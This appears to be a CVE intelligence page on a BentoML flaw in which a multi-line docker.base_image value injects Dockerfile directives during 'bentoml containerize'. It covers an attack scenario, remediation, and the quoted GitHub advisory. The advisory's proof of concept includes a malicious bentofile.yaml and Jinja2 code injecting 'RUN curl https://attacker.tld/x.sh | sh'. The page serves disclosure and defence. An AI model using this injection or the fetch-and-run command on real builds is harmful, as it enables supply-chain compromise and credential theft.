Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDistribute malicious bento package
-
DeliveryVictim runs bentoml containerize
-
ExploitTemplate renders unsanitized base_image
-
ExecutionDocker build parses injected RUN directives
-
PersistExecute attacker commands on host
-
ImpactPersist access and exfiltrate credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to execute 'bentoml containerize' on a bento package containing a malicious bento.yaml or bentofile.yaml with a crafted multi-line docker.base_image value. The specific vulnerable configuration is any BentoML installation where users build containers from bentos sourced outside their direct control - common in ML model sharing workflows, collaborative data science projects, automated CI/CD pipelines processing external contributions, and organizations using public or third-party bento registries. The attack does NOT exploit a running BentoML service or API; it targets the development-time containerization workflow. Default BentoML installations are vulnerable if they process untrusted bento configurations. Limiting factors: requires victim to initiate containerize command (not exploitable against passive services), requires Docker daemon accessible to the victim user (standard developer setup), and the injected commands execute with the privileges of the user running bentoml (typically full developer account access including cloud credentials). User interaction (UI:R) is explicit command execution, but often automated in CI/CD reducing effective friction. |
| Impact | CVSS 8.8 (High) reflects network-reachable attack vector (AV:N) with user interaction required (UI:R) - the victim must explicitly run 'bentoml containerize' on attacker-controlled configuration. However, the 'network' vector is misleading: the actual attack surface is bento package distribution channels (registries, marketplaces, GitHub repos), not traditional network services. Real-world risk depends heavily on organizational trust boundaries. High-risk scenarios include ML model marketplaces where users containerize third-party bentos, CI/CD pipelines automatically building bentos from pull requests, and collaborative ML workflows where data scientists share bento configurations. The UI:R requirement provides some friction but is routinely bypassed in automated build pipelines. No CISA KEV listing and no public exploit identified at time of analysis, suggesting targeted supply-chain threat rather than mass exploitation. The related vulnerabilities (GHSA-w2pm-x38x-jp44, CVE-2026-33744, CVE-2026-35043) indicate a pattern of similar template injection issues in BentoML's containerization pipeline, raising concern about systematic input validation gaps. Patch available in version 1.4.39 with narrow version delta (1.4.38 → 1.4.39) suggesting targeted security fix. Organizations should prioritize this if they containerize bentos from external or untrusted sources. |
| Exploit ScenarioDerived | An attacker publishes a malicious ML model package to a community bento registry or submits a pull request containing a weaponized bentofile.yaml to a collaborative ML project. The yaml specifies docker.base_image as a multi-line value: 'python:3.10\nRUN curl https://attacker.tld/backdoor.sh | sh\nFROM scratch'. When a data scientist or CI/CD pipeline runs 'bentoml containerize' to build the container, BentoML renders the Jinja2 template without sanitization, producing a Dockerfile with three directives instead of one. The 'docker build' process executes the injected RUN command, downloading and running the attacker's shell script with the developer's privileges and AWS/cloud credentials. The script exfiltrates SSH keys, injects persistence mechanisms, or pivots to internal ML infrastructure. PoC demonstrating Jinja2 template expansion provided in GitHub advisory confirms trivial weaponization. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Command injection in BentoML allows arbitrary code execution on developer workstations during containerization of untrusted bento packages. Attackers craft malicious bento.yaml files with newline-injected docker.base_image values that smuggle Dockerfile RUN directives into the generated Dockerfile template. When victims run 'bentoml containerize' on the malicious bento, Docker build executes the injected commands on the host system with full developer privileges. This vulnerability (GHSA-78f9-r8mh-4xm2) is part of a documented cluster alongside GHSA-w2pm-x38x-jp44, CVE-2026-33744, and CVE-2026-35043, all involving unsafe Jinja2 template interpolation in BentoML's Dockerfile generation pipeline. Fixed in version 1.4.39. No active exploitation confirmed at time of analysis; EPSS data not available for 2026-dated CVE.
RemediationAI
Upgrade to BentoML 1.4.39 or later immediately via 'pip install --upgrade bentoml>=1.4.39'. The patch adds input validation to reject newline characters in docker.base_image and related configuration fields. If immediate upgrade is not feasible, implement these compensating controls with noted trade-offs: (1) Code review all bento.yaml files before containerization - blocks automation, adds manual overhead, prone to human error missing obfuscated newlines. (2) Use an allowlist of approved base images in CI/CD via pre-commit hook or linter that rejects any base_image value containing \n or \r characters - partial protection but bypassable via Unicode normalization attacks. (3) Run 'bentoml containerize' only in isolated ephemeral containers or VMs with no network access and disposable filesystems - mitigates impact but adds infrastructure complexity and breaks caching workflows. None of these workarounds provide equivalent security to patching. Vendor advisory with technical details: https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2. Verify patch installation by checking installed version matches fixed release.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
BentoML is a Python ML model serving framework that generates Docker containers from bento packages. The vulnerability exists in the Jinja2 template 'base_v2.j2' at line 38, which renders 'FROM {{ __options__base_image }} AS base-container' without input sanitization. The base_image field is loaded from user-supplied bento.yaml via DockerOptions dataclass (build_config.py:176) with no pydantic validator or newline filtering. Jinja2 templates perform text interpolation without escaping Dockerfile control characters. Multi-line YAML values (using | or > syntax) preserve newlines, allowing attackers to inject additional Dockerfile directives. The CWE-78 (OS Command Injection) classification applies because docker build executes the resulting Dockerfile's RUN commands on the host OS. This is a template injection variant targeting infrastructure-as-code rather than web contexts.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):
FROM {{ __options__base_image }} AS base-container__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):
base_image: t.Optional[str] = NoneNo validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.
PoC
Malicious bentofile.yaml:
docker:
base_image: |
python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratchMinimal reproduction of the unsafe interpolation:
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)Output:
FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-containerThree valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.
Impact
Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.
Suggested fix
Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.
The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:
__options__build_include[*]at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) - same newline-injection class for path entries fromImage.build_include(*file_paths).bento__user,bento__uid_gid,bento__path,bento__home,bento__entrypoint- currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable throughoverride_bento_env.
References
- Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
Executive ViewAI
BentoML versions prior to 1.4.39 contain a command injection vulnerability in the containerization process that allows arbitrary code execution on developer workstations when processing untrusted bento packages. An attacker can craft a malicious bento.yaml file that injects Docker commands, leading to code execution with developer privileges during the 'bentoml containerize' operation. This poses a significant risk to development teams integrating untrusted ML models or third-party bento packages into their CI/CD pipelines.
No vendor-released patch identified at time of analysis; however, interim mitigations include: (1) restrict 'bentoml containerize' execution to isolated, ephemeral CI/CD agents with no access to production credentials or sensitive data; (2) implement mandatory code review and scanning of all bento.yaml files before containerization; (3) disable or sandbox Docker daemon access during development workflows where possible; (4) monitor build logs and container registry for unexpected modifications. Upgrade to vendor-released patch version 1.4.39 as primary remediation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-32610
GHSA-78f9-r8mh-4xm2
NVD
CVE.org
EPSS
Exploit-DB